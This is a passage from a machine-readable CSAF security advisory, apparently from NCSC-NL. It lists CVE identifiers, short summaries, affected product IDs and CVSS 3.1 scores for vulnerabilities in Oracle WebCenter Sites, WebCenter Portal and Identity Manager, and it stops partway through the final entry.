"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61040 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61040.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61040"
},
{
"cve": "CVE-2026-61042",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61042 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61042.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61042"
},
{
"cve": "CVE-2026-61045",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61045 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61045.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61045"
},
{
"cve": "CVE-2026-61054",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61054 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61054.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61054"
},
{
"cve": "CVE-2026-61058",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61058 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61058.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61058"
},
{
"cve": "CVE-2026-61066",
"notes": [
{
"category": "description",
"text": "A critical RMI-based vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers to fully compromise the system, with a CVSS 3.1 base score of 9.9 indicating severe risk.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61066 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61066.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61066"
},
{
"cve": "CVE-2026-61118",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61118 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61118.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61118"
},
{
"cve": "CVE-2026-61124",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to cause unauthorized data modification or partial denial of service, rated CVSS 3.1 base score 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61124 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61124.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61124"
},
{
"cve": "CVE-2026-61177",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61177 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61177.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61177"
},
{
"cve": "CVE-2026-61193",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially create, delete, or modify critical data, scoring 8.7 on CVSS 3.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61193 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61193.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61193"
},
{
"cve": "CVE-2026-61199",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61199 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61199.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61199"
},
{
"cve": "CVE-2026-61208",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access, modify data, or cause partial denial of service, rated CVSS 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61208 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61208.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61208"
},
{
"cve": "CVE-2026-61212",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 3.1 base score 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61212 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61212.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61212"
},
{
"cve": "CVE-2026-61213",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially take control of the portal, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61213 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61213.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61213"
},
{
"cve": "CVE-2026-61215",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61215 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61215.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61215"
},
{
"cve": "CVE-2026-61219",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61219 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61219.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61219"
},
{
"cve": "CVE-2026-61222",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61222 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61222.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61222"
},
{
"cve": "CVE-2026-61227",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61227 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61227.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61227"
},
{
"cve": "CVE-2026-61228",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61228 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61228.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
